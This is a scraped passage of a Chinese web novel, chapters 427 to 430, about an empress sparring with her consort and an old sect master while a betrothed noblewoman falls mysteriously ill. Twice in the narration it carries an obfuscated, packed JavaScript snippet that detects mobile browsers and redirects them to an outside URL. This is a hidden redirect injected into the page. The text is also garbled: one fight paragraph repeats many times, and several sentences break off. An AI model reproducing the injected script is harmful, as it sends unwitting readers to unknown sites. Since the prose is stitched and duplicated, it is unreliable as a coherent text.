“咳咳咳咳!”林臻重重地摔在地上,扬起一片尘土,猛烈咳嗽,狼狈不堪。 慕容嫣见状,收了招式,莲步轻移至林臻身边,双手抱胸,居高临下地看着他,冷哼一声:“哼,这下知道朕的厉害了吧。” 虽说语气依旧带着几分嗔怒,可眼中却闪过一丝不易察觉的关切。 林臻苦笑一声,挣扎着从地上爬起来,拍了拍身上的尘土,嘟囔道:“嫣儿,你这下手也太狠了,我这浑身骨头都要散架了。” 他一边说着,一边揉着胸口,脸上满是无奈。 未消散,上前一步,气鼓鼓地问道:“你是跟谁练的?” 她那模样,像极了一只被惹怒却又好奇的小猫,可爱中透着几分凌厉。 林臻微微调整了一下抱着麝月的姿势,让她站稳,这才不慌不忙地回答:“当然是老宗主了。” 慕容嫣一听这话,心中的火气“噌”地一下又冒了起来。 她几步跨到床边,玉手如电,猛地出手揪住林臻的耳朵,咬牙切齿道:“好啊,既然你这么厉害,我们俩也出去走几招。” 那架势,显然是不达目的不罢休。 林臻见状,连忙讨饶:“诶别别别!嫣儿,我错了,这不是闹着玩嘛,你可别当真。” 慕容嫣能和无舌对打,肯定不是林臻这个半吊子能比你的。 他一边说着,一边试图掰开慕容嫣的手,可慕容嫣下手极有分寸,疼得他龇牙咧嘴,却又不敢太过挣扎,生怕真惹恼了她。 但慕容嫣哪肯轻易放过他,手上用力,揪着林臻就往宫外走。 林臻无奈,只能任由她拽着,一路踉踉跄跄地出了寝宫,来到院子里。 此时,阳光正好洒在院子的青石板上,泛出温润的光泽。 慕容嫣松开林臻的耳朵,往后退了几步,摆开架势。 她身上那袭华丽无比的黑色凤袍,在日光的映照下,愈发显得神秘而庄重。 袍身之上,金丝银线绣就的凤凰仿若活物,随着她的动作振翅欲飞,每一片羽翼都闪烁着璀璨光芒,似在为她助威。 而那长达五十米的拖尾,更是这场较量中的绝美点缀。 拖尾上绣满了繁复的花纹,以盛开的牡丹为主,花瓣层层簇拥,娇艳欲滴,搭配着灵动的云纹,随着慕容嫣的移动,拖尾仿若一条流动的黑色长河,在地面上蜿蜒翻卷,美不胜收。 林臻见此情形,知道今日这场比试是躲不过去了,也只能硬着头皮,全神贯注地应对。 他微微弓身,双脚分开,双手握拳,置于胸前。 “来吧。” “咏春,叶问!” “我让你问!!”慕容嫣率先发难,她娇喝一声,左腿高高抬起,在空中划过一道优美的弧线,朝着林臻横扫而去。 这一腿,力量与美感兼具,带起一阵劲风,吹得院子里的花草簌簌发抖。 黑色凤袍的裙摆随之烈烈扬起,如同一面黑色战旗,猎猎作响。 林臻眼神一凝,不敢有丝毫大意,矮身如猎豹捕猎般迅速躲过这一腿,同时右手探出,快如疾风,朝着慕容嫣的胸口抓去。 慕容嫣见状顿时怒喝:“你耍赖!” 随即脚尖轻点,借力腾空而起,在空中完成了一个惊艳的翻身动作,过程中一脚踢中林臻胸口,让他整个人向后飞去。 砰—— “咳咳咳咳!”林臻重重地摔在地上,扬起一片尘土,猛烈咳嗽,狼狈不堪。 慕容嫣见状,收了招式,莲步轻移至林臻身边,双手抱胸,居高临下地看着他,冷哼一声:“哼,这下知道朕的厉害了吧。” 虽说语气依旧带着几分嗔怒,可眼中却闪过一丝不易察觉的关切。 林臻苦笑一声,挣扎着从地上爬起来,拍了拍身上的尘土,嘟囔道:“嫣儿,你这下手也太狠了,我这浑身骨头都要散架了。” 他一边说着,一边揉着胸口,脸上满是无奈。 第427章 这婚不结了 林臻只觉胸口一阵闷痛,仿若有一团浊气堵在嗓子眼。 “嫣儿,你下手也太狠了吧?那俊朗的面容此刻因疼痛而略显扭曲,额前的碎发被冷汗浸湿,一缕缕地耷拉着,往昔深邃有神的眼眸也黯淡了几分,透着些无奈与疲惫。 与此同时,慕容嫣站在场中,挥舞着五十米拖尾让其层层盘绕在脚边,冷面寒霜却也带着几分得意的说道:“哼!看你还敢不敢非礼朕的丫鬟! 林臻抬眼,只觉一道金光射来,他连忙又闭上,换了个角度。 再睁眼时才知道,原来是阳光下的凤冠。 那凤冠主体框架以纯金打造,质地厚重坚实,其上精雕细琢出繁复的花纹,皆是象征着祥瑞与尊贵的古老图腾,纹路间镶嵌着颗颗圆润饱满的珍珠,每一颗都散发着柔和而温润的光泽。 凤冠正中,一只振翅欲飞的金凤傲然而立,它的身形由整块红宝石雕琢而成,那红宝石红得鲜艳夺目,恰似清晨天际最浓烈的一抹朝霞,又似燃烧在雪山之巅的烈烈圣火,内部纯净无瑕,毫无杂质,在阳光的折射下,迸发出如利剑般的光芒,直刺苍穹,让人不敢直视。 金凤的双翅向外伸展,羽毛部分则是用细碎的黄钻镶嵌而成,黄钻在光线的照耀下,闪烁着璀璨而耀眼的星光,披星戴月而来。 凤冠的两侧,垂下数条珠帘,珠帘由水晶与珊瑚珠串连而成。 水晶剔透晶莹,每一颗都切割成精巧的形状,阳光穿透而过时,散射出七彩的光晕,如梦如幻;珊瑚珠则色泽鲜艳,红得浓郁醇厚,为这华丽的凤冠添了几分古朴与深沉。 她身上那袭黑色凤袍,宛如夜幕最深沉时被星辰点亮的苍穹织就而成。 袍身质地非是凡品,触手生温,柔滑如上等的丝绸,却又兼具挺括之感,能完美地勾勒出她纤细却不失力量的身形。 墨色的底色之上,用金银双色的丝线绣满了凤凰。 这些凤凰形态各异,有的引颈长鸣;有的展翅翱翔,每一根羽毛都根根分明,仿佛在风中轻轻颤动,随时能裹挟风云而动;还有的回首顾盼,眼中的神韵仿若蕴含着千年的智慧,傲然俯瞰世间万物。 金线在阳光的轻抚下,熠熠生辉,光芒流转间,似有金色的火焰在凤凰周身跳跃燃烧,将凤凰的尊贵与威严彰显得淋漓尽致;银线则如清冷的月光,为这炽热的画面添了一抹静谧与高雅,使其在夺目之余,又不失含蓄内敛。 最令人惊叹的,当属那五十米的拖尾。 拖尾展开,仿若一条黑色的天 河从九天之上倾泻而下,流淌在这宫殿的玉阶之前。 拖尾的边缘,绣着连绵不绝的金色云纹,这些云纹轻盈飘逸,似被天风轻轻吹动,在阳光的沐浴下,闪耀着金色的光辉,仿若将天边的祥瑞云彩裁剪而下,缝于此处。 云纹之上,间隔有序地绣着一只只小巧玲珑的凤凰,它们与凤袍上的凤凰遥相呼应,却又别具一格,或嬉戏于云端,或隐匿于金光之后,灵动俏皮,尽显生机。 拖尾的面料,亦是暗藏玄机,其间织入了细密的金丝银缕,阳光洒落,光芒顺着拖尾蔓延开来,每一步前行,光芒便闪烁摇曳,似有仙乐相伴,步步生莲,将她的高贵与傲气烘托至极致,令在场众人无不俯首,不敢直视这等天威。 可惜啊。 这么好的袍子居然用来打我。 还他妈花的是我的钱。 没有天理了。 可见睡皇帝也不是件好事啊。 林臻嘴角泛起一抹苦笑,他无奈地叹了口气,声音带着几分委屈:“不是你要我对小麝月下手的吗?怎么如今又装出这副样子?” 慕容嫣凤眉一蹙,眼中满是疑惑与愤怒交织:“朕何时说让你对小麝月下手了?朕分明是让你对她好些,可你呢!竟然在朕的寝宫里公然和她接吻,你瞧把人家小丫头吓得!” 林臻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357881|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中叫苦不迭,他抬手摆了摆,满脸的妥协之意:“好吧好吧,那我以后不亲便是了,我最好以后少进宫!” 慕容嫣却不依不饶,上前一步,咄咄逼人:“怎么,你亲也亲了,摸也摸了,现在想反悔?哪有这般便宜的事!” 林臻摊开双手,一脸无辜:“我可没说反悔!再者,我也没提什么时候要收了她吧?您呐,就和小麝月安心在宫里待着,为夫今日不陪你去上朝了,朝堂诸事繁杂,还得您自个儿拿主意,亲自去应对。” 言罢,他也不顾慕容嫣愈发阴沉的脸色,转身抬脚便要迈步离去。 慕容嫣见状,急得高声呼喊:“夫君!!” 那声音里已带了几分慌乱与不舍。 可林臻仿若未闻,脚步未曾有丝毫停顿,径直向着宫门走去,身影渐行渐远,直至消失在那一片光影交错之中。 慕容嫣气得直跺脚,精致的绣鞋在地上跺出沉闷声响,她银牙紧咬,恨恨道:“讨厌的家伙,自己上朝就自己上朝,有什么了不起的!今日朕定要将你的底裤都给扒下来不可,看你还敢这般气我!” 眼看着要过年了,这是慕容嫣登基后过的第一个喜庆年。 以往她这个大穷鬼就连过年都不敢大操大办,现在不一样,大乾在林臻的推动下有着一连串的产业链,虽然没有具体统计GDP什么的,但所有人都能看出来,大乾正在以一种非常火热的速度发展。 所以慕容嫣就打算过个喜庆年,因为凑巧,林臻的婚礼最后定在正月初一,也不知道礼部的人怎么算的,就说这个日子好。 慕容嫣对此也没意见,结婚就结婚呗,林臻的后宫肯定还是她说了算的。 但谁知,就在这个时候,摄政王林震仙突然决定说这婚不结了。 朝堂上,慕容嫣高坐凤椅,听闻林震仙的话她很诧异。 “王爷,这婚礼都已经定下,人又在你家住了这么久,为何突然就不结了呢?” 第428章 无奈之举 金銮殿内气氛凝重得仿若能滴下水来。 凤涎香的青烟袅袅升腾在雕梁画栋间缭绕不散却也驱散不了那弥漫在空气中的压抑之感。 摄政王林震仙身子略显佝偻平日里那飞扬跋扈、掌控朝堂的意气风发早已不见踪影取而代之的是满面的愁容仿若被岁月与忧愁瞬间压垮了脊梁。 他缓缓站了出来脚步沉重每一步都似有千钧之重在这寂静无声的大殿之中回荡着沉闷的声响。 清了清干涩的嗓子声音沙哑而疲惫:“陛下老臣实乃无奈之举啊。是婉儿自己说不嫁了的她.她如今得了某种怪病这身体是越来越不好了。那孩子心地善良不愿耽误林臻所以主动选择了退婚。” 慕容嫣端坐在凤椅之上凤目微眯眼中闪过一丝疑惑与不忍。 她虽贵为帝王平日里杀伐决断可此刻面对这等儿女情长之事也难免动容。 尤其是关于林臻的事情。 片刻后她朱唇轻启声如**出谷却带着不容置疑的威严:“既已病了为何不请大夫?我大乾地大物博良医无数岂会寻不出救治之法?” 林震仙苦笑一声那笑容里满是苦涩与无力。 “唉老臣怎会不尽心?这些日子老臣已经把孙神仙、清远大师等大乾最好的大夫都请来了。孙神仙那可是有起死回生之术的杏林圣手悬壶济世多年救人无数;清远大师更是精通药理禅医双通声名远扬至周边诸国。可谁也不知道婉儿得的到底是什么病啊!” 说到此处他情绪愈发激动:“他们只知道婉儿的身体每况愈下。这几日已是消瘦许多原本圆润的脸庞如今都凹陷了下去 他缓了缓神接着说道:“孙神仙瞧了也说只能暂时用人参吊命可这终究不是长久之计。那人参珍贵无比每日耗费甚巨即便如此老臣也在所不惜只求能保住婉儿的性命。可是.唉。 老臣已经派了得力的侍从贴心照顾日夜不离其左右就盼着她能好起来甚至向婉儿表示即便她身染重病老臣愿意让臻儿娶她绝不让她受半分委屈。可婉儿不同意态度坚决地要退婚老臣实在是.实在是没办法了。” 言罢他眼眶通红。 战场上刀光剑影都无所畏惧的老人居然因为婉儿而老泪纵横。 他是真心喜欢这姑娘非常愿意让她做自己孙媳妇的。 朝堂之上群 臣交头接耳,议论纷纷。 有的面露不忍之色,为上官婉儿的遭遇叹息;有的则眼神闪烁,暗自揣测这其中是否另有隐情。 毕竟,上官婉儿身为秦国上官家的千金,才情出众,貌若天仙,与林臻的婚约更是早已定下,如今突然退婚,难免引人遐想。 慕容嫣眉头紧锁,心中暗自思忖,最后把目光再次落在林震仙身上。 “王爷,世子成婚一事关系重大,朕需知晓详情。你且细细说来,婉儿发病之前,可有何异常之举?或是接触过什么不寻常之物?” 林震仙用袖角擦了擦眼泪,努力平复着情绪。 “陛下,婉儿受他爷爷的教化,在府里向来是大门不出二门不迈的,身子一向康健得很,从未出过何事。” 慕容嫣微微点头,心中却愈发觉得蹊跷。 她转头看向身旁的慕容无舌:“传朕旨意,宣太医院院首随朕去王府,还有,命令百骑司暗中查访,务必查个水落石出。朕决不允许堂堂王府第一夫人,就这么香消玉殒!” “遵旨。” 不多时,太医院院首带着一众御医,背着药箱,匆匆赶到王府。 众人皆身着朝服,神色凝重,深知此次责任重大。 慕容嫣依旧身着那身象征至高无上皇权的黑色凤袍,凤袍之上,金丝银线精心勾勒出的凤凰振翅欲飞,每一片羽翼都在阳光下闪烁着冷冽光芒,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第429章 北极** 慕容嫣凤眉一蹙,语气中带着几分愠怒:“难道就没有一点头绪?朕带你们来,可不是听你们说这些废话的。” 此时,一位年轻的御医怯生生地站了出来。 “陛下,微臣听闻,有一种产自西域的奇毒,名为‘幻影噬魂’,**者初期症状便如上官夫人这般,先是食欲不振、昏睡乏力,而后逐渐神志不清,身体机能衰退。但此毒极为隐秘,寻常解毒之法根本无用,唯有找到与之相克的‘冰心雪莲’,方可解其毒性。只是这‘冰心雪莲’生长在极寒之地,百年难得一遇,甚是难求。” 慕容嫣眼神一亮,转头看向林震仙:“王爷,你可曾听闻此种毒物与解药?” 林震仙面露沉思之色,片刻后摇了摇头:“臣从未听闻,不过臣这就派人去打听,哪怕走遍天涯海角,也要找到这‘冰心雪莲’。” “不用找!”一个不和谐的声音传来,众人齐齐望去,就见楚惜灵正笑盈盈地站在门口,她走过来,对慕容嫣作揖:“妾身参见陛下。” 慕容嫣点点头。 他现在对楚惜灵已经没什么敌意了,若不是她,自己也得不到噬心蛊这样的好东西。 “灵儿,你说不用找,是什么意思?” “妾身知道冰心雪莲在哪,直接派人去即可。” “哦?快说。” “我们常说的冰心雪莲,其实就是北极**,位置嘛.在挪威。” “挪威?”众人面面相觑,“那是什么地方?” “陛下可以理解为天的尽头,妾身这就去画张海图出来,但以我们现在的造船技术,究竟能不能达到,可就不得而知了。” “画!就算穷尽一切,也必须救回婉儿!” 正说着,床上的上官婉儿突然发出一声微弱的呻吟,众人的目光瞬间聚焦在她身上。 婉儿缓缓睁开眼睛,眼神迷茫而空洞,见众人围在床边,先是一愣,随后认出了慕容嫣,嘴角露出一抹苦涩的笑容:“陛下,您怎么来了……” 她的声音沙哑无力。 慕容嫣握住她的手,轻声安慰:“婉儿,你别说话,好好休息。朕今日来,就是要查明你的病因,治好你的病。你放心,朕不会让你有事的。” 上官婉儿嘴角扯出一抹虚弱的微笑,声音沙哑却字字清晰:“陛下,您亲临寒舍,这般关怀,妾身.妾身何德何能。” 她顿了顿,似是积攒力气,目光转向窗外:“只是妾身注定没有那个福气,做世子的妻子了。” “不!你的婚 礼必须如期举行!” “陛下!”说到此处,婉儿的眼眶泛红,泪水在眼眶中打转,却倔强地不肯落下:“妾身这副模样,已是无力回天,根本没有资格再做王府夫人。但是陛下放心,妾身就算下了地府,也是世子的女人,我会好好守护这个身份,永远不变。” 慕容嫣心中酸涩,眼眶也不禁湿润,她轻声安慰:“婉儿,莫要这般说,朕定不会让你有事的。” 上官婉儿摇了摇头,几缕发丝凌乱地贴在脸颊上,更添几分楚楚可怜:“陛下的心意,妾身明白,可这病.妾身自己心里有数。这些日子,妾身时常昏睡,梦中尽是世子的模样,只可惜,妾身.妾身没有福气,只见过世子一面。” “这个混蛋!林臻呢!”慕容嫣看向林震仙,“婉儿病成这个样子,他为何不在旁边照顾?他去哪了?” “陛下!是.是妾身不愿见世子的。世子已经见过妾身完好时的模样,如今病种,芳华早已不在,妾身不愿意让世子见到妾身这副鬼样子。” “你如此坚持那些狗屁的传统又是何苦呢?谁规矩我们女人不可以见自己丈夫的?” 婉儿好像没了力气,说着说着,便又睡了过去。 慕容嫣长叹一声,放下她的手,问旁边的御医们:“用人参吊命,能坚持多久?” “陛下放心,只要有足够的长白山千年人参,续命五年不成问题。” “好,那就立刻派人去辽东传令,大力挖人参,把整座山的人参都给婉儿挖回来!” “遵旨!” 言罢慕容嫣看向楚惜灵:“灵儿,你立刻绘制海图,人选、船只随你挑选,一定要找到冰心雪莲。” “妾身遵旨。” 慕容嫣从婉儿那弥漫着药香与哀愁的别院里走出来,凤眸中满是凝重与关切,她身姿笔挺,那身黑色凤袍在日光下折射出冷冽的光泽。 “传朕旨意,务必派得力之人悉心照顾婉儿,饮食用药、日常起居,不得出现任何差错,若有差池,朕要他们所有人的脑袋!” 身旁的侍从们头如捣蒜般连连点头,齐声高呼:“遵旨!” 慕容嫣微微颔首,莲步轻移,衣袂飘飘,林震仙赶忙跟上,二人沿着王府的回廊徐徐前行。 一路上,雕梁画栋、奇花异石,尽显王府的奢华,可慕容嫣却无心赏玩,心中暗自思忖着婉儿的病情,眉头紧锁,似有千钧重担压顶。 林震仙亦是一脸愁容,脚步略显沉重,时不时偷瞄一眼慕容嫣,犹豫再三,才低声开口:“陛下,此 番婉儿病重,而臻儿的婚礼恕臣直言,您与臻儿的关系基本已经人尽皆知,陛下何不趁此机会,直接宣布大婚呢?” 慕容嫣微微侧目:“王爷是说让朕抢了婉儿的主母之位?” “非也,陛下是天子,即便婉儿与臻儿成亲,这当家主母也应当是陛下。不存在抢占一说。” “你这话倒是在理,容朕回去考虑考虑吧。” 嫁给林臻,是慕容嫣的梦想。 本来她还因为无法正儿八经地嫁给林臻而苦恼,谁知上天居然平白给了个机会。 好啊。 只是这件事情恐怕要委屈婉儿了。 不过没关系,等她病好了,朕再给她轰轰烈烈的办一次。 二人边走边谈,不知不觉间步入了王府后院。 忽然,一阵清脆的冰裂之声传入耳中,慕容嫣抬眸望去,只见青霞正站在院子当中,身姿轻盈如蝶,她身前一尊冰雕已初现雏形,晶莹剔透的冰块在日光下闪烁着五彩光芒,折射出瑰丽的光晕,如梦如幻。 而老宗主就静静地站在一旁,目光如炬,凝视着女儿手中的杰作,偶尔提点几句,母女俩的画面透着岁月静好的安然。 慕容嫣想起林臻向老宗主学习武功的事情,瞬间起了讨教的心思。 既然无舌是自己师父,而老宗主是林臻师父。 那就来较量较量吧。 想到这,慕容嫣一股战意迅速席卷全身。 她柳眉倒竖,朱唇轻启,娇喝一声:“呔!” 紧接着,身形如电整个人凌空跃起,那身黑色凤袍仿若一只展翅的墨凤,在半空之中肆意舒展,五十米的拖尾猎猎作响,恰似黑色的旌旗迎风狂舞,气势磅礴得让人胆寒。 她裹挟着劲风,紧握的粉拳带着千钧之力,直砸向老宗主的面门。 老宗主仿若脑后生眼,就在慕容嫣身形闪动的瞬间,她已然有所察觉。 回眸望去,只见一道黑影裹挟着无尽威严扑面而来。 她却不慌不忙,嘴角勾起一抹不屑的弧度,双脚稳稳站立,仿若扎根大地的苍松。 “哼,无舌那老东西的徒弟就是傲气。”老宗主冷哼一声,就在慕容嫣的拳头即将触碰到她脸颊之际,她身形一晃,鬼魅般侧身避开,同时右手如蛇出击,直探慕容嫣的咽喉。 慕容嫣见状,凤眸一凛,在空中腰身一扭,黑色凤袍如水般流转,拖尾在空中划出一道完美的弧线,借力一个翻身,避开了老宗主的凌厉一击。 落地瞬间,她脚掌猛踏地 面,砖石碎裂,借力反弹,再次攻向老宗主,拳风呼啸,带起周围的气流涌动。 老宗主见慕容嫣来势汹汹,不敢小觑,她身形灵动,辗转腾挪之间,与慕容嫣在院子里你来我往,斗得难解难分。 慕容嫣的每一次出击,都伴随着凤袍的猎猎舞动,那黑色的布料仿若有了生命,在风中张扬着霸气,五十米的拖尾仿若一条灵动的长河,随着她的身形变化而蜿蜒游走,时而卷地扬起沙尘,时而在空中划过凌厉的轨迹,为她的攻势增添了几分豪迈与壮美。 老宗主身形矫健,招式凌厉狠辣,她的拳法刚猛有力,腿法更是犹如闪电,每一次踢踹都带起呼呼风声。 然而慕容嫣身为帝王,身负皇家威严,气势上丝毫不输。 她的拳法虚实结合,掌法变幻莫测,常常在关键时刻以巧破千斤。 一时间,院子里人影交错,拳风腿影交织成一片光影的漩涡。 慕容嫣一招“凤翔九天”,高高跃起,双拳齐出,仿若两只凤凰振翅扑击,凤袍与拖尾在阳光下闪耀着刺目的光芒,将她衬托得仿若战神下凡。 老宗主见状身形瞬间模糊,如鬼魅般在慕容嫣的攻击下穿梭自如,紧接着一记“破风拳”,直捣黄龙,拳风如利刃,呼啸着冲向慕容嫣的胸口。 慕容嫣眼神一凝,临危不乱,她轻喝一声,凤袍的长袖仿若两片柔软的云朵,在空中缭绕舞动,巧妙地化解了老宗主的这一记杀招。 随后,她趁势追击,脚下步伐灵动多变,步步紧逼老宗主,拳头如雨点般落下。 面,砖石碎裂,借力反弹,再次攻向老宗主,拳风呼啸,带起周围的气流涌动。 老宗主见慕容嫣来势汹汹,不敢小觑,她身形灵动,辗转腾挪之间,与慕容嫣在院子里你来我往,斗得难解难分。 慕容嫣的每一次出击,都伴随着凤袍的猎猎舞动,那黑色的布料仿若有了生命,在风中张扬着霸气,五十米的拖尾仿若一条灵动的长河,随着她的身形变化而蜿蜒游走,时而卷地扬起沙尘,时而在空中划过凌厉的轨迹,为她的攻势增添了几分豪迈与壮美。 老宗主身形矫健,招式凌厉狠辣,她的拳法刚猛有力,腿法更是犹如闪电,每一次踢踹都带起呼呼风声。 然而慕容嫣身为帝王,身负皇家威严,气势上丝毫不输。 她的拳法虚实结合,掌法变幻莫测,常常在关键时刻以巧破千斤。 一时间,院子里人影交错,拳风腿影交织成一片光影的漩涡。 慕容嫣一招“凤翔九天”,高高跃起,双拳齐出,仿若两只凤凰振翅扑击,凤袍与拖尾在阳光下闪耀着刺目的光芒,将她衬托得仿若战神下凡。 老宗主见状身形瞬间模糊,如鬼魅般在慕容嫣的攻击下穿梭自如,紧接着一记“破风拳”,直捣黄龙,拳风如利刃,呼啸着冲向慕容嫣的胸口。 慕容嫣眼神一凝,临危不乱,她轻喝一声,凤袍的长袖仿若两片柔软的云朵,在空中缭绕舞动,巧妙地化解了老宗主的这一记杀招。 随后,她趁势追击,脚下步伐灵动多变,步步紧逼老宗主,拳头如雨点般落下。 面,砖石碎裂,借力反弹,再次攻向老宗主,拳风呼啸,带起周围的气流涌动。 老宗主见慕容嫣来势汹汹,不敢小觑,她身形灵动,辗转腾挪之间,与慕容嫣在院子里你来我往,斗得难解难分。 慕容嫣的每一次出击,都伴随着凤袍的猎猎舞动,那黑色的布料仿若有了生命,在风中张扬着霸气,五十米的拖尾仿若一条灵动的长河,随着她的身形变化而蜿蜒游走,时而卷地扬起沙尘,时而在空中划过凌厉的轨迹,为她的攻势增添了几分豪迈与壮美。 老宗主身形矫健,招式凌厉 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老宗主见慕容嫣来势汹汹,不敢小觑,她身形灵动,辗转腾挪之间,与慕容嫣在院子里你来我往,斗得难解难分。 慕容嫣的每一次出击,都伴随着凤袍的猎猎舞动,那黑色的布料仿若有了生命,在风中张扬着霸气,五十米的拖尾仿若一条灵动的长河,随着她的身形变化而蜿蜒游走,时而卷地扬起沙尘,时而在空中划过凌厉的轨迹,为她的攻势增添了几分豪迈与壮美。 老宗主身形矫健,招式凌厉狠辣,她的拳法刚猛有力,腿法更是犹如闪电,每一次踢踹都带起呼呼风声。 然而慕容嫣身为帝王,身负皇家威严,气势上丝毫不输。 她的拳法虚实结合,掌法变幻莫测,常常在关键时刻以巧破千斤。 一时间,院子里人影交错,拳风腿影交织成一片光影的漩涡。 慕容嫣一招“凤翔九天”,高高跃起,双拳齐出,仿若两只凤凰振翅扑击,凤袍与拖尾在阳光下闪耀着刺目的光芒,将她衬托得仿若战神下凡。 老宗主见状身形瞬间模糊,如鬼魅般在慕容嫣的攻击下穿梭自如,紧接着一记“破风拳”,直捣黄龙,拳风如利刃,呼啸着冲向慕容嫣的胸口。 慕容嫣眼神一凝,临危不乱,她轻喝一声,凤袍的长袖仿若两片柔软的云朵,在空中缭绕舞动,巧妙地化解了老宗主的这一记杀招。 随后,她趁势追击,脚下步伐灵动多变,步步紧逼老宗主,拳头如雨点般落下。 面,砖石碎裂,借力反弹,再次攻向老宗主,拳风呼啸,带起周围的气流涌动。 老宗主见慕容嫣来势汹汹,不敢小觑,她身形灵动,辗转腾挪之间,与慕容嫣在院子里你来我往,斗得难解难分。 慕容嫣的每一次出击,都伴随着凤袍的猎猎舞动,那黑色的布料仿若有了生命,在风中张扬着霸气,五十米的拖尾仿若一条灵动的长河,随着她的身形变化而蜿蜒游走,时而卷地扬起沙尘,时而在空中划过凌厉的轨迹,为她的攻势增添了几分豪迈与壮美。 老宗主身形矫健,招式凌厉狠辣,她的拳法刚猛有力,腿法更是犹如闪电,每一次踢踹都带起呼呼风声。 然而慕容嫣身为帝王,身负皇家威严,气势上丝毫不输。 她的拳法虚实结合,掌法变幻莫测,常常在关键时刻以巧破千斤。 一时间,院子里人影交错,拳风腿影交织成一片光影的漩涡。 慕容嫣一招“凤翔九天”,高高跃起,双拳齐出,仿若两只凤凰振翅扑击,凤袍与拖尾在阳光下闪耀着刺目的光芒,将她衬托得仿若战神下凡。 老宗主见状身形瞬间模糊,如鬼魅般在慕容嫣的攻击下穿梭自如,紧接着一记“破风拳”,直捣黄龙,拳风如利刃,呼啸着冲向慕容嫣的胸口。 慕容嫣眼神一凝,临危不乱,她轻喝一声,凤袍的长袖仿若两片柔软的云朵,在空中缭绕舞动,巧妙地化解了老宗主的这一记杀招。 随后,她趁势追击,脚下步伐灵动多变,步步紧逼老宗主,拳头如雨点般落下。 面,砖石碎裂,借力反弹,再次攻向老宗主,拳风呼啸,带起周围的气流涌动。 老宗主见慕容嫣来势汹汹,不敢小觑,她身形灵动,辗转腾挪之间,与慕容嫣在院子里你来我往,斗得难解难分。 慕容嫣的每一次出击,都伴随着凤袍的猎猎舞动,那黑色的布料仿若有了生命,在风中张扬着霸气,五十米的拖尾仿若一条灵动的长河,随着她的身形变化而蜿蜒游走,时而卷地扬起沙尘,时而在空中划过凌厉的轨迹,为她的攻势增添了几分豪迈与壮美。 老宗主身形矫健,招式凌厉狠辣,她的拳法刚猛有力,腿法更是犹如闪电,每一次踢踹都带起呼呼风声。 然而慕容嫣身为帝王,身负皇家威严,气势上丝毫不输。 她的拳法虚实结合,掌法变幻莫测,常常在关键时刻以巧破千斤。 一时间,院子里人影交错,拳风腿影交织成一片光影的漩涡。 慕容嫣一招“凤翔九天”,高高跃起,双拳齐出,仿若两只凤凰振翅扑击,凤袍与拖尾在阳光下闪耀着刺目的光芒,将她衬托得仿若战神下凡。 老宗主见状身形瞬间模糊,如鬼魅般在慕容嫣的攻击下穿梭自如,紧接着一记“破风拳”,直捣黄龙,拳风如利刃,呼啸着冲向慕容嫣的胸口。 慕容嫣眼神一凝,临危不乱,她轻喝一声,凤袍的长袖仿若两片柔软的云朵,在空中缭绕舞动,巧妙地化解了老宗主的这一记杀招。 随后,她趁势追击,脚下步伐灵动多变,步步紧逼老宗主,拳头如雨点般落下。 第430章 嫁妆朕来出 刹那间两人身形同时一晃脚下石板应声龟裂。 慕容嫣右拳裹挟烈烈劲风势如猛虎扑食直捣黄龙般朝老宗主轰去。 拳风呼啸仿若能撕裂空气尽显霸道。 老宗主神色不惊左掌轻翻与慕容嫣拳风轰然相撞。 “砰”一声巨响气浪以二人为圆心呈环形疯狂扩散震得花坛花朵簌簌颤抖缤纷花瓣漫天洒落。 一击之后二人瞬间闪退分立庭院两端。 老宗主白发如雪根根分明被整齐束于脑后一袭素色长袍随风轻拂衣袂间金线绣就的古朴纹路彰显着她沉淀多年的威严。 身形虽略显佝偻然双眸精芒闪烁。 遥想当年她纵横江湖以一手凌厉拳脚绝技、杀伐果决的作风令黑白两道闻风丧胆是赫赫有名的顶尖**。 庭院另一端女帝慕容嫣亭亭而立一袭黑色凤袍夺目至极。 袍身之上金银丝线精心勾勒的凤凰振翅欲飞每一片羽毛都似用利刃雕琢透着冷峻华贵承载着帝王尊荣。 五十米长的拖尾仿若黑色绸缎铺陈于地蜿蜒流淌其上星辰与火焰暗纹交织闪烁随着她的细微动作光影变幻仿若星河在脚下涌动。 老宗主欠身行礼声音沉稳:“参见陛下。” 此时一旁屏息静气的青霞匆忙小跑上前裙摆轻摇慌乱屈膝跪地:“参见陛下。” 慕容嫣玉手轻摆凤袍宽大袖口迎风而动仿若黑色羽翼翩然。 “自家姐妹无需多礼。” 青霞起身。 她对慕容嫣还算是恭敬。 不过话又说回来在皇帝的威慑力下谁敢不敬? 慕容嫣露出一抹淡笑说道:“朕听闻夫君近来与老宗主研习武功心有所感便想来讨教几招就是不知老宗主刚刚可曾用尽全力?” 老宗主嘴角泛起一抹狡黠笑意眼角皱纹抖擞。 “陛下老身所学皆是夺命杀招 慕容嫣柳眉一挑眼中燃起好胜烈火:“哼无妨今日既来便要见识一番老宗主无需顾虑放手施为便是。” 言罢莲步轻移凤袍拖尾随之徐徐滑动带起一阵细微烟尘地面尘土仿若瞬间有了灵智纷纷绕着裙摆盘旋飞舞。 她沉吟着看向老宗主突然身形一动黑色凤袍仿若凤凰展翅拖尾恰似黑凤于飞在身后划出一道摄 人心魄的弧线。 她高高跃起,右拳高举,借下落之势泰山压顶,朝着老宗主天灵盖迅猛砸下。 老宗主眼神一凛,脚下轻点,身形如鬼魅般左闪,瞬间移出数丈,轻松避开这凌厉一击。 慕容嫣一击落空却毫不气馁,借着下落冲力,左腿如钢鞭横扫而出,腿风呼啸,竟将周围空气抽得“啪啪作响。 老宗主见状,矮身一蹲,双掌猛拍地面,一股强劲气流冲击而下,借反作用力,整个人如离弦之箭向后倒飞而出。 慕容嫣攻势不止,凤袍烈烈作响,拖尾仿若黑色闪电,紧随着她的身形。 